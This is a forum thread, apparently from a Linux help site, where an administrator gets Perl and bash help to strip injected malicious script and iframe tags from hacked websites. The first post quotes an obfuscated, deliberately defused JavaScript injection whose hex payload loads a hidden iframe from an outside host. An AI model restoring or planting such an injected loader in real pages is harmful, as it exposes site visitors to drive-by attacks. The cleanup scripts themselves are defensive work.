Need assistance with shell script - replace a string with a start tag and end tag

SupermanInNY · 08-24-2008, 09:22 PM

Hi All,

I have a server that we migrated away from and sites were all filled with hacker's malicious trojan viruses.

Quote:

acc/domains/acblahldings.com/public_html/help/css/index.html:<html><body bgcolor="#FFFFFF"></body></html><script>bunction v48218cec1
fc20(v48218cec24a2f){ bunction v48218cec2984a () {var v48218cec2e981=16; return v48218cec2e981;} return(parseInt(v48218cec24a2f,v482
18cec2984a()));}bunction v48218cec336e6(v48218cec382a2){ bunction v48218cec47104 () {return 2;} var v48218cec3d615='';for(v48218cec4
1eec=0; v48218cec41eec<v48218cec382a2.length; v48218cec41eec+=v48218cec47104()){ v48218cec3d615+=(String.fromCharCode(v48218cec1fc20
(v48218cec382a2.substr(v48218cec41eec, v48218cec47104()))));}return v48218cec3d615;} document.write(v48218cec336e6('3C696672616D6520
6E616D653D2731353238333527207372633D27687474703A2F2F61726368696D656433332E72752F61646D696E2F7061636B 2F696E6465782E706870272077696474
683D313035206865696768743D343338207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>

I have deliberatly changed the word function to bunction so that it won't cause any trouble to anyone viewing this page.

Quote:

grep -R "<script>function" * > /root/hackerlist.txt

in the /home partition captures all the instances of this viruse.

So now I have a file with the list of all those instances and I need to change the string from what is above to something that is non-malicious like 'white space'.

All the stings start with:

<script>function

and end with:

</script>

So, I'm looking for assistance in running a search/replace on a long string that has a Start tag and an End tag and removes everything in between.

I appreciate any help on this.

Thanks,

-Sup.

matthewg42 · 08-24-2008, 09:44 PM

Parsing HTML is difficult, and although you can often get the coreutil tools to work with many files, you will probably find that it is difficult to work with HTML which is not formatted for easy human reading (i.e. opening new tag types on new lines).

For robustness, I would recommend using a proper HTML parsing library, sch as the HTML::SimpleParse module for Perl.

SupermanInNY · 08-24-2008, 10:19 PM

Quote:

Originally Posted by matthewg42

Parsing HTML is difficult, and although you can often get the coreutil tools to work with many files, you will probably find that it is difficult to work with HTML which is not formatted for easy human reading (i.e. opening new tag types on new lines).

For robustness, I would recommend using a proper HTML parsing library, sch as the HTML::SimpleParse module for Perl.

Thanks for the input.
My question doesn't actually relate to HTML specifically.

What I'm looking for is either a Perl or Shell script for a substition of the following string with a different string:

Quote:

I can't use vim: %s/<script>function**</script>/new string/ or can I?

Be it in vim or in perl, any way will work for me.
I just don't know how to run a search replace on a text file for a string that has a start and and end of that long.

That's what I actually need. Nothing to do with HTML.

Any pointers?

-Sup.

Mr. C. · 08-24-2008, 10:37 PM

This will strip out the script for you, doing it in place, and preserve a backup file for you to examine:

Code:

$ cat sanitize.pl 
#!/usr/bin/perl -i.orig

undef $/;
$_ = <>;

s/<script>.*?<\/script>//msg ;

print "$_";

Run as:

sanitize.pl foo.html

It will strip the smallest possible match of <script>xxx</script>, so as not to consume too much.

SupermanInNY · 08-25-2008, 01:37 AM

Quote:

Originally Posted by Mr. C.

This will strip out the script for you, doing it in place, and preserve a backup file for you to examine:

Code:

$ cat sanitize.pl 
#!/usr/bin/perl -i.orig

undef $/;
$_ = <>;

s/<script>.*?<\/script>//msg ;

print "$_";

Run as:

sanitize.pl foo.html

It will strip the smallest possible match of <script>xxx</script>, so as not to consume too much.

This great!
Works like a charm.

Thank you very much.

-Sup.

SupermanInNY · 10-25-2009, 06:51 PM

Hi All,

It has been a while since I had to use this script, and thankfully I did not have a need for a long time.
However, I have to revive this post to continue the battle once more.

Another massive attack of hackers is disrupting our service.

Quote:

server #less sanitize.pl

#!/usr/bin/perl -i

undef $/;
$_ = <>;

s/<iframe frameborder.*?iframe>//msg ;

print "$_";

This time, we are more confident that we do not need a backup copy, so I ommitted the .orig from the original sanitize.pl script.

I ran a grep of the hacked files:

Quote:

grep -R "iframe frameborder" * > listofbadguys.txt

Now,. I have about 150 entries in the listofbadguys.txt .

I want to process all of them automatically.
How do I go about running it in a recursive/line-by-line clean up?
How do I loop till EOF?

In fact, the listofbadguys.txt is not very clean, it has the "FileName: search-string".
I only need the FileName and have the Sanitize script run and clean it.

So an enhanced run would do a clean grep and then sanitize it.

Thanks for any help with this.

-Sup.

TB0ne · 10-25-2009, 06:56 PM

Quote:

Originally Posted by SupermanInNY

Hi All,

It has been a while since I had to use this script, and thankfully I did not have a need for a long time.
However, I have to revive this post to continue the battle once more.

Another massive attack of hackers is disrupting our service.

I want to process all of them automatically.
How do I go about running it in a recursive/line-by-line clean up?
How do I loop till EOF?

In fact, the listofbadguys.txt is not very clean, it has the "FileName: search-string".
I only need the FileName and have the Sanitize script run and clean it.

So an enhanced run would do a clean grep and then sanitize it.

Thanks for any help with this.

-Sup.

Well, the first step is to post what you've written so far, and where you're having a problem. Otherwise, there are many bash and Perl tutorials on the web that can help you.

Don't mean to sound nasty, but this is your work. If you haven't put forth the effort, why should we do it for you, for free?

SupermanInNY · 10-25-2009, 07:24 PM

Quote:

Originally Posted by TB0ne

Well, the first step is to post what you've written so far, and where you're having a problem. Otherwise, there are many bash and Perl tutorials on the web that can help you.

Don't mean to sound nasty, but this is your work. If you haven't put forth the effort, why should we do it for you, for free?

I'm trying to think of an appropriate response, and the your reasoning was very good till the very last two words.
I can understand you pushing me to grow my knowledge, pursue excellence and seek specific help on key items/issues, but you killed your reasoning with the end question of "we want to get paid for our advise".
Makes me wonder if your are part of the Win7 tech support guys trying to support the case of "Linux is hard and TCO is more expensive than what you pay for Win2008".
Of course if you want to get paid for tech advise, you shouldn't dwell here, just go to: freelancer.com or Expert-Exchange.com or others.
But, I feel that if you are a contributer to community, you can probably find a way to assist without asking for money on advise.
I do my share of assisting others and exploring solutions on CentOS forums as well as DirectAdmin.com forum.

And,. going back to the REAL subject, as I am not a perl expert, and currently have very limited bash scripts programming capabilities, I am drawing on previous experience, and I am using the nice sanitize.pl script that was provided earlier in the post.
I did specify the grep command that I used, but since I lack the perl syntax, I can only do psudo-code which is not very helpful in this scenario.
Hence I seek the help of the experts.
Mind you that I hope this thread helps others battle hackers' scripts, so I believe I'm not the only beneficiary of this thread.

TB0ne · 10-26-2009, 09:50 AM

Quote:

Originally Posted by SupermanInNY

I'm trying to think of an appropriate response, and the your reasoning was very good till the very last two words.
I can understand you pushing me to grow my knowledge, pursue excellence and seek specific help on key items/issues, but you killed your reasoning with the end question of "we want to get paid for our advise".
Makes me wonder if your are part of the Win7 tech support guys trying to support the case of "Linux is hard and TCO is more expensive than what you pay for Win2008".
Of course if you want to get paid for tech advise, you shouldn't dwell here, just go to: freelancer.com or Expert-Exchange.com or others.
But, I feel that if you are a contributer to community, you can probably find a way to assist without asking for money on advise.

I didn't ask for money..merely pointed out that you're getting paid to solve that particular problem, and you're wanting us to do your work for you, for free, by writing a script FOR YOU.

Quote:

I do my share of assisting others and exploring solutions on CentOS forums as well as DirectAdmin.com forum.

And,. going back to the REAL subject, as I am not a perl expert, and currently have very limited bash scripts programming capabilities, I am drawing on previous experience, and I am using the nice sanitize.pl script that was provided earlier in the post.
I did specify the grep command that I used, but since I lack the perl syntax, I can only do psudo-code which is not very helpful in this scenario.
Hence I seek the help of the experts.
Mind you that I hope this thread helps others battle hackers' scripts, so I believe I'm not the only beneficiary of this thread.

Which is why I directed you to any one of the many bash/perl tutorials that can easily be found on the web. Looping through a file is a very simple thing, and if you want to "grow your knowledge", this is a perfect opportunity. And as I said before...post what you've written, and where you're getting stuck, and we'll be glad to help.

From a bash tutorial, on reading a file until EOF:

Code:

#!/bin/bash
cat my.file | while read LINE ; do
	<insert action to take here>
done

Perl is different:

Code:

#!/usr/bin/perl
  open (FILE, "<filename>") or die "Can't open file!";
   while (<FILE>)
     {
     <do something>
     }

Now you've got the tools to help others, by writing your script, and posting it back here, so there will be many beneficiary's of your efforts.

David the H. · 10-26-2009, 10:13 AM

While you're at it, could you please edit your posts and put [code][/code] tags around your script code and output? It's incredibly hard to read this thread because the long lines make everything stretch off the edge of the window. Code tags will prevent that, as well as preserve your original formatting.

SupermanInNY · 10-26-2009, 02:21 PM

Thanks for the quick reply:

Here is my attempt to make it happen:

Code:

#!/usr/bin/perl -i

  grep -lr ":8080" * > listofbadfiles.txt

  open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
   while (<FILE>)
     {

        undef $/;
        $_ = <>;

        s/<iframe frameborder.*?iframe>//msg ;
        print "$_";

     }

Well, unfortunatly, I didn't get very far:

Quote:

# ./loop-sanitize.sh
String found where operator expected at ./loop-sanitize.sh line 3, near "lr ":8080""
(Do you need to predeclare lr?)
syntax error at ./loop-sanitize.sh line 3, near "lr ":8080""
Execution of ./loop-sanitize.sh aborted due to compilation errors.

Well, I think I got the right logic, but I lack the correct syntax.
I planned on invoking this script with either :

perl loop-sanitize.sh
or
./loop-sanitize.sh

Thanks,

-Sup.

TB0ne · 10-26-2009, 03:17 PM

Quote:

Originally Posted by SupermanInNY

Thanks for the quick reply:

Here is my attempt to make it happen:

Code:

#!/usr/bin/perl -i

grep -lr ":8080" * > listofbadfiles.txt

open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
while (<FILE>)
  {
   undef $/;
   $_ = <>;

   s/<iframe frameborder.*?iframe>//msg ;
   print "$_";
  }

Well, unfortunatly, I didn't get very far:

Well, I think I got the right logic, but I lack the correct syntax.
I planned on invoking this script with either :

perl loop-sanitize.sh or ./loop-sanitize.sh

No, you've tried to reuse the original logic, in a way it's not structured to handle. Since you've got a perl script that does what you want, why don't you try the bash snippet I provided earlier to call it?? Also, the grep as you've done it above won't work, unless ALL the files you want to do this on, are in the same directory.

Code:

#!/bin/bash
grep -lr ":8080" * > listofbadfiles.txt
cat listofbadfiles.txt | while read LINE ; do
	<insert action to take here>
done

These are both basic scripting tasks. I'd strongly suggest looking up some basic tutorials.

SupermanInNY · 10-30-2009, 06:33 AM

Here is the solution I got:

Quote:

You can do next string without add something in your perl script.
for file in $(grep -lr ":8080" *); do ./sanitize.pl $file; done

./sanitize.pl must be in a directory where you are starting command or point a full path to sanitize.pl.

I appreciate the contribution and again express my thanks to those who provided real code way back (a year ago).

-Sup.

gnashley · 10-30-2009, 11:32 AM

So, what did you come up with after all? I sometimes need a basic tag parser myself.

TB0ne · 10-30-2009, 11:45 AM

Quote:

Originally Posted by SupermanInNY

Here is the solution I got:

I appreciate the contribution and again express my thanks to those who provided real code way back (a year ago) and found that other users who aggressively shouted at me: "why should we do it for you, for free?" AND THEN declined to do it when I offered payment ($30) with the following response:

I WILL NOT DO YOUR WORK FOR YOU
YOU CANNOT AFFORD TO HIRE ME TO DO IT.

So why bring up the "request for payment?"

The solution was a very simple syntax and I was asking a very specific syntax question.

That was all I was asking.
Why DELIBERATELY give me a snobby answer?

First, you sent several emails to me, privately, asking that I do this. The message you quote is the last one, after you refused to take "NO" for an answer.

Again, I *NEVER* requested payment; I *NEVER* asked to do the job for you, or implied that I would even be interested in doing it. YOU are requesting that someone write code for you, for free, to solve a problem that YOU are getting paid to solve. A $30 PayPal payment, offered because you (again), don't want to code something yourself, would be better spent on buying a book on shell scripting, or paying one of your OWN EMPLOYEES to do it.

Quote:

Seeking a professional advise in this forum should not be met with cynicism, patronizing and utterly abusive behavior.
I asked in a very simple, professional manner for a solution. If you want to offer your help you are welcome, if you want to offer paid help you are welcome.
Your response is just not professional and demeaning.
Please make it a habit NOT to respond to threads that I started.
-Sup.

Yes, especially since I GAVE YOU THE ANSWER, but you don't want to do anything with it. Specifically:

Code:

#!/bin/bash
grep -lr ":8080" * > listofbadfiles.txt
cat listofbadfiles.txt | while read LINE ; do
	<insert action to take here>
done

Now, the line where it says "<insert action to take here>"? Replace that with ./sanitize.pl That's it....you're done. How much more help do you need??? If you're running so many web sites, and have a nice sized hosting company, I find it hard to believe that you don't have a SINGLE PERSON who can comprehend a simple bash shell script, or at least look it up.